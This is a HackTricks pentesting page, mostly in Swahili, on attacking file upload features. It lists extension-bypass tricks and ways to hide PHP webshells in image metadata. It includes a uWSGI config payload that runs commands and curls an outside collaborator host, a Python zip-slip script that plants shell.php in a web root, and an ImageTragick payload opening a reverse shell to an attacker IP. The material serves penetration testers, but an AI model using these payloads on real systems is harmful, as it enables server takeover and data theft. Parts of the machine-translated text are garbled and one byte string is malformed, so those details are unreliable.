File Upload

Support HackTricks

Ikiwa unavutiwa na kazi ya hacking na kuhack yasiyoweza kuhackwa - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika).

File Upload General Methodology

Extensions nyingine muhimu:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Kazi katika PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Bypass file extensions checks

  1. Ikiwa zinatumika, angalia extensions za awali. Pia jaribu kutumia herufi za juu: pHp, .pHP5, .PhAr ...

  2. Angalia kuongeza extension halali kabla ya extension ya utekelezaji (tumia extensions za awali pia):

  • file.png.php

  • file.png.Php5

  1. Jaribu kuongeza herufi maalum mwishoni. Unaweza kutumia Burp ku bruteforce herufi zote za ascii na Unicode. (Kumbuka kwamba unaweza pia kujaribu kutumia extensions zilizotajwa awali)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Jaribu kupita ulinzi kwa kudanganya parser ya extension ya upande wa seva kwa mbinu kama kuongeza extension au kuongeza data za junk (null bytes) kati ya extensions. Unaweza pia kutumia extensions za awali kuandaa payload bora.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Ongeza tabaka lingine la extensions kwa ukaguzi wa awali:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Jaribu kuweka exec extension kabla ya extension halali na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia ku exploit usanidi mbaya wa Apache ambapo chochote chenye extension** .php, lakini si lazima kumalizika na .php** kitatekeleza msimbo):

  • ex: file.php.png

  1. Kutumia NTFS alternate data stream (ADS) katika Windows. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, faili tupu yenye extension iliyokatazwa itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “::$data” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu inaweza pia kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)

  2. Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php

# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Pita Content-Type ukaguzi kwa kuweka thamani ya header ya Content-Type kuwa: image/png , text/plain , application/octet-stream

  • Pita magic number ukaguzi kwa kuongeza mwanzoni mwa faili bytes za picha halisi (changanya amri ya file). Au ingiza shell ndani ya metadata: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ au unaweza pia kuingiza payload moja kwa moja katika picha: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Ikiwa compression inaongezwa kwenye picha yako, kwa mfano kwa kutumia maktaba za kawaida za PHP kama PHP-GD, mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia PLTE chunk mbinu iliyofafanuliwa hapa kuingiza maandiko ambayo yatadumu hata baada ya compression.

  • Tovuti inaweza pia kuwa ikiresize picha, kwa kutumia mfano kazi za PHP-GD imagecopyresized au imagecopyresampled. Hata hivyo, unaweza kutumia IDAT chunk mbinu iliyofafanuliwa hapa kuingiza maandiko ambayo yatadumu hata baada ya compression.

  • Mbinu nyingine ya kutengeneza payload ambayo inadumu hata baada ya resizing ya picha, kwa kutumia kazi ya PHP-GD thumbnailImage. Hata hivyo, unaweza kutumia tEXt chunk mbinu iliyofafanuliwa hapa kuingiza maandiko ambayo yatadumu hata baada ya compression.

Other Tricks to check

  • Tafuta udhaifu wa kubadilisha jina la faili iliyopakiwa tayari (kubadilisha extension).

  • Tafuta udhaifu wa Local File Inclusion kutekeleza backdoor.

  • Kuweza kwa kufichua taarifa:

  1. Pakia mara kadhaa (na kwa wakati mmoja) faili ile ile yenye jina lile lile

  2. Pakia faili yenye jina la faili au folder ambayo tayari ipo

  3. Kupakia faili yenye “.”, “..”, au “…” kama jina lake. Kwa mfano, katika Apache katika Windows, ikiwa programu inaokoa faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.

  4. Pakia faili ambayo huenda isifutwe kwa urahisi kama “…:.jpg” katika NTFS. (Windows)

  5. Pakia faili katika Windows yenye herufi zisizo sahihi kama |<>*?” katika jina lake. (Windows)

  6. Pakia faili katika Windows ukitumia majina yaliyohifadhiwa (yaliyokatazwa) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.

  • Jaribu pia kupakia executable (.exe) au .html (isiyo na mashaka) ambayo itakamilisha msimbo wakati itakapofunguliwa kwa bahati mbaya na mwathirika.

Special extension tricks

Ikiwa unajaribu kupakia faili kwenye seva ya PHP, angalia hila ya .htaccess kutekeleza msimbo. Ikiwa unajaribu kupakia faili kwenye seva ya ASP, angalia hila ya .config kutekeleza msimbo.

Faili za .phar ni kama .jar kwa java, lakini kwa php, na zinaweza kutumika kama faili ya php (kuitekeleza kwa php, au kuijumuisha ndani ya script...)

Extension ya .inc wakati mwingine hutumiwa kwa faili za php ambazo zinatumika tu kuagiza faili, hivyo, kwa wakati fulani, mtu anaweza kuwa amekubali extension hii kutekelezwa.

Jetty RCE

Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata RCE kwa sababu xml mpya *.xml na *.war zinashughulikiwa moja kwa moja. Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye $JETTY_BASE/webapps/ na subiri shell!

uWSGI RCE

Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa asili: uWSGI RCE Exploitation.

Udhaifu wa Remote Command Execution (RCE) unaweza kutumiwa katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya .ini. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumiwa kama @(filename), wameundwa kuingiza maudhui ya faili. Miongoni mwa mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya .ini inashughulikiwa.

Fikiria mfano ufuatao wa faili hatari ya uwsgi.ini, ikionyesha mipango mbalimbali:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.

It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.

wget File Upload/SSRF Trick

In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed. The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that chaguo kingine unachoweza kufikiria ili kupita ukaguzi huu ni kufanya seva ya HTTP irejeleze faili tofauti, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii haitafanya kazi isipokuwa wget inatumika na parameta --trust-server-names kwa sababu wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali.

Zana

  • Upload Bypass ni zana yenye nguvu iliyoundwa kusaidia Pentesters na Bug Hunters katika kupima mifumo ya kupakia faili. Inatumia mbinu mbalimbali za bug bounty ili kurahisisha mchakato wa kubaini na kutumia udhaifu, kuhakikisha tathmini kamili za programu za wavuti.

Kutoka kwa Upakiaji wa Faili hadi Udhaifu Mwingine

Hapa kuna orodha ya juu 10 ya mambo ambayo unaweza kufikia kwa kupakia (kutoka hapa):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Stored XSS / SSRF / XXE

  3. GIF: Stored XSS / SSRF

  4. CSV: CSV injection

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : HTML injection / XSS / Open redirect

  8. PNG / JPEG: Pixel flood attack (DoS)

  9. ZIP: RCE kupitia LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Rejelea https://en.wikipedia.org/wiki/List_of_file_signatures kwa aina nyingine za faili.

Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki

Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:

Pakia kiungo kinachojumuisha viungo laini kwa faili nyingine, kisha, ukifika kwenye faili zilizondolewa utapata faili zilizounganishwa:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.

Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye evilarc on GitHub. Chombo hiki kinaweza kutumika kama inavyoonyeshwa:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Zaidi ya hayo, symlink trick with evilarc ni chaguo. Ikiwa lengo ni kulenga faili kama /flag.txt, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haikabiliwi na makosa wakati wa operesheni yake.

Hapa kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Kukandamiza ushirikishaji kwa ajili ya kupiga picha za faili

Kwa maelezo zaidi angalia chapisho la asili katika: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Kuunda PHP Shell: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Kupiga picha za faili na Kuunda Faili Zilizoshinikizwa: Faili nyingi zinaandaliwa na archive ya zip inakusanywa ikijumuisha faili hizi.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Mabadiliko kwa kutumia Hex Editor au vi: Majina ya faili ndani ya zip yanabadilishwa kwa kutumia vi au mhariri wa hex, kubadilisha "xxA" kuwa "../" ili kupita kwenye saraka.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu (ImageMagick , 7.0.1-1) (fanya kutoka exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Kuunganisha PHP Shell kwenye PNG

Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za imagecopyresized na imagecopyresampled kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha saizi na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.

Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayoweza, unapatikana katika makala ifuatayo: "Encoding Web Shells in PNG IDAT chunks". Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.

Maelezo zaidi katika: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Faili za Polyglot

Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni GIFAR, mchanganyiko unaofanya kazi kama GIF na RAR archive. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.

Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.

Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwakilisha faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.

Maelezo zaidi katika: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Marejeleo

Ikiwa unavutiwa na hacking career na kuhack yasiyoweza kuhack - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika).

Support HackTricks

Last updated